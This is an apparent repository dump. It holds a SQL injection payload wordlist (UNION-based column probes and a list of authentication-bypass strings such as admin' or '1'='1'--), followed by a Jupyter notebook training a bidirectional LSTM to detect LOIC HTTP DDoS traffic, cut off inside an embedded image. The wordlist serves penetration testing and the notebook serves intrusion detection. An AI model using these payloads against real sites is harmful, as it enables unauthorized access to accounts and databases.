CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- 686 | UNION ALL SELECT 'INJ'||'ECT'||'XXX' 687 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 688 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 689 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 690 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 691 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 692 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 693 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 694 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 695 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 696 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 697 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 698 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 699 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 700 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 701 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 702 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 703 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 704 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 705 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 706 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 707 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 708 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 709 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 710 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 711 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 712 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 713 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 714 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 715 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 716 | UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- 717 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- 718 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- 719 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- 720 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- 721 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- 722 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- 723 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- 724 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- 725 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- 726 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- 727 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- 728 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- 729 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- 730 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 731 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 732 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 733 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 734 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 735 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 736 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 737 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 738 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 739 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 740 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 741 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 742 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 743 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 744 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 745 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 746 | UNION ALL SELECT 'INJ'||'ECT'||'XXX'# 747 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# 748 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# 749 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# 750 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# 751 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# 752 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# 753 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# 754 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# 755 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# 756 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# 757 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# 758 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# 759 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# 760 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# 761 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# 762 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# 763 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# 764 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# 765 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# 766 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# 767 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# 768 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# 769 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# 770 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# 771 | 772 | 773 | 774 | Auth bypass 775 | 776 | '-' 777 | ' ' 778 | '&' 779 | '^' 780 | '*' 781 | ' or ''-' 782 | ' or '' ' 783 | ' or ''&' 784 | ' or ''^' 785 | ' or ''*' 786 | "-" 787 | " " 788 | "&" 789 | "^" 790 | "*" 791 | " or ""-" 792 | " or "" " 793 | " or ""&" 794 | " or ""^" 795 | " or ""*" 796 | or true-- 797 | " or true-- 798 | ' or true-- 799 | ") or true-- 800 | ') or true-- 801 | ' or 'x'='x 802 | ') or ('x')=('x 803 | ')) or (('x'))=(('x 804 | " or "x"="x 805 | ") or ("x")=("x 806 | ")) or (("x"))=(("x 807 | or 1=1 808 | or 1=1-- 809 | or 1=1# 810 | or 1=1/* 811 | admin' -- 812 | admin' # 813 | admin'/* 814 | admin' or '1'='1 815 | admin' or '1'='1'-- 816 | admin' or '1'='1'# 817 | admin' or '1'='1'/* 818 | admin'or 1=1 or ''=' 819 | admin' or 1=1 820 | admin' or 1=1-- 821 | admin' or 1=1# 822 | admin' or 1=1/* 823 | admin') or ('1'='1 824 | admin') or ('1'='1'-- 825 | admin') or ('1'='1'# 826 | admin') or ('1'='1'/* 827 | admin') or '1'='1 828 | admin') or '1'='1'-- 829 | admin') or '1'='1'# 830 | admin') or '1'='1'/* 831 | 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 832 | admin" -- 833 | admin" # 834 | admin"/* 835 | admin" or "1"="1 836 | admin" or "1"="1"-- 837 | admin" or "1"="1"# 838 | admin" or "1"="1"/* 839 | admin"or 1=1 or ""=" 840 | admin" or 1=1 841 | admin" or 1=1-- 842 | admin" or 1=1# 843 | admin" or 1=1/* 844 | admin") or ("1"="1 845 | admin") or ("1"="1"-- 846 | admin") or ("1"="1"# 847 | admin") or ("1"="1"/* 848 | admin") or "1"="1 849 | admin") or "1"="1"-- 850 | admin") or "1"="1"# 851 | admin") or "1"="1"/* 852 | 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 -------------------------------------------------------------------------------- /LSTM-ModelDDoS.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 1, 6 | "id": "d9760aef", 7 | "metadata": {}, 8 | "outputs": [], 9 | "source": [ 10 | "import numpy as np\n", 11 | "import pandas as pd\n", 12 | "import matplotlib.pyplot as plt\n", 13 | "\n", 14 | "import seaborn as sns; sns.set()" 15 | ] 16 | }, 17 | { 18 | "cell_type": "code", 19 | "execution_count": 2, 20 | "id": "2f210c69", 21 | "metadata": {}, 22 | "outputs": [], 23 | "source": [ 24 | "from keras.models import Sequential, load_model\n", 25 | "from keras.layers import Dense, LSTM, Bidirectional\n", 26 | "from keras.utils import plot_model\n", 27 | "from keras.utils.np_utils import to_categorical\n", 28 | "from keras.utils import np_utils\n", 29 | "\n", 30 | "from sklearn.model_selection import train_test_split\n", 31 | "from sklearn.preprocessing import LabelEncoder, StandardScaler\n", 32 | "from sklearn.metrics import confusion_matrix" 33 | ] 34 | }, 35 | { 36 | "cell_type": "code", 37 | "execution_count": 3, 38 | "id": "a791ae36", 39 | "metadata": {}, 40 | "outputs": [], 41 | "source": [ 42 | "number_of_samples = 21000" 43 | ] 44 | }, 45 | { 46 | "cell_type": "code", 47 | "execution_count": 4, 48 | "id": "55ca0b8c", 49 | "metadata": {}, 50 | "outputs": [], 51 | "source": [ 52 | "data_attack = pd.read_csv('C:/Users/Dell/Desktop/Thesis/data thesis/only http 4loic.csv',nrows= number_of_samples)" 53 | ] 54 | }, 55 | { 56 | "cell_type": "code", 57 | "execution_count": 5, 58 | "id": "504bfa89", 59 | "metadata": {}, 60 | "outputs": [], 61 | "source": [ 62 | "data_normal = pd.read_csv('C:/Users/Dell/Desktop/Thesis/data thesis/normal http traffic 2.csv', nrows = number_of_samples)" 63 | ] 64 | }, 65 | { 66 | "cell_type": "code", 67 | "execution_count": 6, 68 | "id": "0790c934", 69 | "metadata": { 70 | "scrolled": true 71 | }, 72 | "outputs": [ 73 | { 74 | "name": "stdout", 75 | "output_type": "stream", 76 | "text": [ 77 | "Index(['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length',\n", 78 | " 'Epoch Time', 'Time shift for this packet',\n", 79 | " 'Time delta from previous captured frame',\n", 80 | " 'Time delta from previous displayed frame',\n", 81 | " 'Time since reference or first frame', 'Frame Number',\n", 82 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n", 83 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n", 84 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n", 85 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n", 86 | " 'Next Sequence Number', 'Acknowledgment Number',\n", 87 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n", 88 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n", 89 | " 'Window size scaling factor',\n", 90 | " 'Time since first frame in this TCP stream',\n", 91 | " 'Time since previous frame in this TCP stream', 'Request Method',\n", 92 | " 'Response in frame', 'Length.1', 'class'],\n", 93 | " dtype='object')\n" 94 | ] 95 | } 96 | ], 97 | "source": [ 98 | "print(data_normal.columns)" 99 | ] 100 | }, 101 | { 102 | "cell_type": "code", 103 | "execution_count": 7, 104 | "id": "0c9ee276", 105 | "metadata": {}, 106 | "outputs": [], 107 | "source": [ 108 | "data_normal.columns=['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length',\n", 109 | " 'Epoch Time', 'Time shift for this packet',\n", 110 | " 'Time delta from previous captured frame',\n", 111 | " 'Time delta from previous displayed frame',\n", 112 | " 'Time since reference or first frame', 'Frame Number',\n", 113 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n", 114 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n", 115 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n", 116 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n", 117 | " 'Next Sequence Number', 'Acknowledgment Number',\n", 118 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n", 119 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n", 120 | " 'Window size scaling factor',\n", 121 | " 'Time since first frame in this TCP stream',\n", 122 | " 'Time since previous frame in this TCP stream', 'Request Method',\n", 123 | " 'Response in frame', 'Length.1', 'class']\n", 124 | "data_attack.columns=['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length',\n", 125 | " 'Epoch Time', 'Time shift for this packet',\n", 126 | " 'Time delta from previous captured frame',\n", 127 | " 'Time delta from previous displayed frame',\n", 128 | " 'Time since reference or first frame', 'Frame Number',\n", 129 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n", 130 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n", 131 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n", 132 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n", 133 | " 'Next Sequence Number', 'Acknowledgment Number',\n", 134 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n", 135 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n", 136 | " 'Window size scaling factor',\n", 137 | " 'Time since first frame in this TCP stream',\n", 138 | " 'Time since previous frame in this TCP stream', 'Request Method',\n", 139 | " 'Response in frame', 'Length.1', 'class']" 140 | ] 141 | }, 142 | { 143 | "cell_type": "code", 144 | "execution_count": 8, 145 | "id": "b0b3d0c7", 146 | "metadata": {}, 147 | "outputs": [], 148 | "source": [ 149 | "data_normal=data_normal.drop(['No.', 'Source', 'Destination','Protocol'],axis=1)\n", 150 | "data_attack=data_attack.drop(['No.', 'Source', 'Destination','Protocol'],axis=1)" 151 | ] 152 | }, 153 | { 154 | "cell_type": "code", 155 | "execution_count": null, 156 | "id": "e8695e41", 157 | "metadata": {}, 158 | "outputs": [], 159 | "source": [ 160 | " " 161 | ] 162 | }, 163 | { 164 | "cell_type": "code", 165 | "execution_count": 9, 166 | "id": "b2abd8ac", 167 | "metadata": {}, 168 | "outputs": [], 169 | "source": [ 170 | "features=['Time', 'Length',\n", 171 | " 'Epoch Time', 'Time shift for this packet',\n", 172 | " 'Time delta from previous captured frame',\n", 173 | " 'Time delta from previous displayed frame',\n", 174 | " 'Time since reference or first frame', 'Frame Number',\n", 175 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n", 176 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n", 177 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n", 178 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n", 179 | " 'Next Sequence Number', 'Acknowledgment Number',\n", 180 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n", 181 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n", 182 | " 'Window size scaling factor',\n", 183 | " 'Time since first frame in this TCP stream',\n", 184 | " 'Time since previous frame in this TCP stream', 'Request Method',\n", 185 | " 'Response in frame', 'Length.1']" 186 | ] 187 | }, 188 | { 189 | "cell_type": "code", 190 | "execution_count": 10, 191 | "id": "2e74c000", 192 | "metadata": {}, 193 | "outputs": [], 194 | "source": [ 195 | "X_normal= data_normal[features].values\n", 196 | "X_attack= data_attack[features].values\n", 197 | "Y_normal= data_normal['class']\n", 198 | "Y_attack= data_attack['class']\n", 199 | "X=np.concatenate((X_normal,X_attack))\n", 200 | "Y=np.concatenate((Y_normal,Y_attack))" 201 | ] 202 | }, 203 | { 204 | "cell_type": "code", 205 | "execution_count": 11, 206 | "id": "7d12df67", 207 | "metadata": {}, 208 | "outputs": [], 209 | "source": [ 210 | "scalar = StandardScaler(copy=True, with_mean=True, with_std=True)\n", 211 | "scalar.fit(X)\n", 212 | "X = scalar.transform(X)" 213 | ] 214 | }, 215 | { 216 | "cell_type": "code", 217 | "execution_count": 12, 218 | "id": "9ce686e8", 219 | "metadata": {}, 220 | "outputs": [], 221 | "source": [ 222 | "for i in range(0,len(Y)):\n", 223 | " if Y[i] ==\"attack\":\n", 224 | " Y[i]=0\n", 225 | " else:\n", 226 | " Y[i]=1" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 13, 232 | "id": "8af07bed", 233 | "metadata": {}, 234 | "outputs": [], 235 | "source": [ 236 | "features = len(X[0])\n", 237 | "samples = X.shape[0]\n", 238 | "train_len = 25\n", 239 | "input_len = samples - train_len\n", 240 | "I = np.zeros((samples - train_len, train_len, features))\n", 241 | "\n", 242 | "for i in range(input_len):\n", 243 | " temp = np.zeros((train_len, features))\n", 244 | " for j in range(i, i + train_len - 1):\n", 245 | " temp[j-i] = X[j]\n", 246 | " I[i] = temp" 247 | ] 248 | }, 249 | { 250 | "cell_type": "code", 251 | "execution_count": 14, 252 | "id": "6b22ff6d", 253 | "metadata": {}, 254 | "outputs": [ 255 | { 256 | "data": { 257 | "text/plain": [ 258 | "(42000, 36)" 259 | ] 260 | }, 261 | "execution_count": 14, 262 | "metadata": {}, 263 | "output_type": "execute_result" 264 | } 265 | ], 266 | "source": [ 267 | "X.shape" 268 | ] 269 | }, 270 | { 271 | "cell_type": "code", 272 | "execution_count": 15, 273 | "id": "59f68744", 274 | "metadata": {}, 275 | "outputs": [], 276 | "source": [ 277 | "X_train, X_test, Y_train, Y_test = train_test_split(I, Y[25:42000], test_size = 0.2)" 278 | ] 279 | }, 280 | { 281 | "cell_type": "code", 282 | "execution_count": 16, 283 | "id": "bcbaa170", 284 | "metadata": {}, 285 | "outputs": [], 286 | "source": [ 287 | "def create_baseline():\n", 288 | " model = Sequential()\n", 289 | " \n", 290 | " model.add(Bidirectional(LSTM(64, activation='tanh', kernel_regularizer='l2')))\n", 291 | " model.add(Dense(128, activation = 'relu', kernel_regularizer='l2'))\n", 292 | " model.add(Dense(1, activation = 'sigmoid', kernel_regularizer='l2'))\n", 293 | " \n", 294 | " model.compile(loss = 'binary_crossentropy', optimizer = 'adam', metrics = ['accuracy'])\n", 295 | " \n", 296 | " return model" 297 | ] 298 | }, 299 | { 300 | "cell_type": "code", 301 | "execution_count": 17, 302 | "id": "d18faa8c", 303 | "metadata": {}, 304 | "outputs": [], 305 | "source": [ 306 | "model = create_baseline()" 307 | ] 308 | }, 309 | { 310 | "cell_type": "code", 311 | "execution_count": 20, 312 | "id": "c8ed743a", 313 | "metadata": {}, 314 | "outputs": [ 315 | { 316 | "name": "stdout", 317 | "output_type": "stream", 318 | "text": [ 319 | "Epoch 1/15\n", 320 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1441 - accuracy: 0.9674 - val_loss: 0.1564 - val_accuracy: 0.9677\n", 321 | "Epoch 2/15\n", 322 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1495 - accuracy: 0.9676 - val_loss: 0.1431 - val_accuracy: 0.9686\n", 323 | "Epoch 3/15\n", 324 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1458 - accuracy: 0.9676 - val_loss: 0.1449 - val_accuracy: 0.9686\n", 325 | "Epoch 4/15\n", 326 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1431 - accuracy: 0.9677 - val_loss: 0.1421 - val_accuracy: 0.9658\n", 327 | "Epoch 5/15\n", 328 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1397 - accuracy: 0.9675 - val_loss: 0.1395 - val_accuracy: 0.9677\n", 329 | "Epoch 6/15\n", 330 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1387 - accuracy: 0.9675 - val_loss: 0.1364 - val_accuracy: 0.9686\n", 331 | "Epoch 7/15\n", 332 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1386 - accuracy: 0.9673 - val_loss: 0.1344 - val_accuracy: 0.9686\n", 333 | "Epoch 8/15\n", 334 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1426 - accuracy: 0.9674 - val_loss: 0.1499 - val_accuracy: 0.9687\n", 335 | "Epoch 9/15\n", 336 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1439 - accuracy: 0.9674 - val_loss: 0.1378 - val_accuracy: 0.9687\n", 337 | "Epoch 10/15\n", 338 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1443 - accuracy: 0.9676 - val_loss: 0.1350 - val_accuracy: 0.9687\n", 339 | "Epoch 11/15\n", 340 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1434 - accuracy: 0.9669 - val_loss: 0.1394 - val_accuracy: 0.9687\n", 341 | "Epoch 12/15\n", 342 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1351 - accuracy: 0.9671 - val_loss: 0.1299 - val_accuracy: 0.9686\n", 343 | "Epoch 13/15\n", 344 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1175 - accuracy: 0.9676 - val_loss: 0.1054 - val_accuracy: 0.9687\n", 345 | "Epoch 14/15\n", 346 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1175 - accuracy: 0.9677 - val_loss: 0.1191 - val_accuracy: 0.9681\n", 347 | "Epoch 15/15\n", 348 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1150 - accuracy: 0.9677 - val_loss: 0.1152 - val_accuracy: 0.9687\n" 349 | ] 350 | } 351 | ], 352 | "source": [ 353 | "history = model.fit(X_train.astype(np.float32), Y_train.astype(np.float32), epochs = 15,validation_split=0.2, verbose = 1)" 354 | ] 355 | }, 356 | { 357 | "cell_type": "code", 358 | "execution_count": 21, 359 | "id": "9c794f0e", 360 | "metadata": {}, 361 | "outputs": [ 362 | { 363 | "data": { 364 | "image/png": "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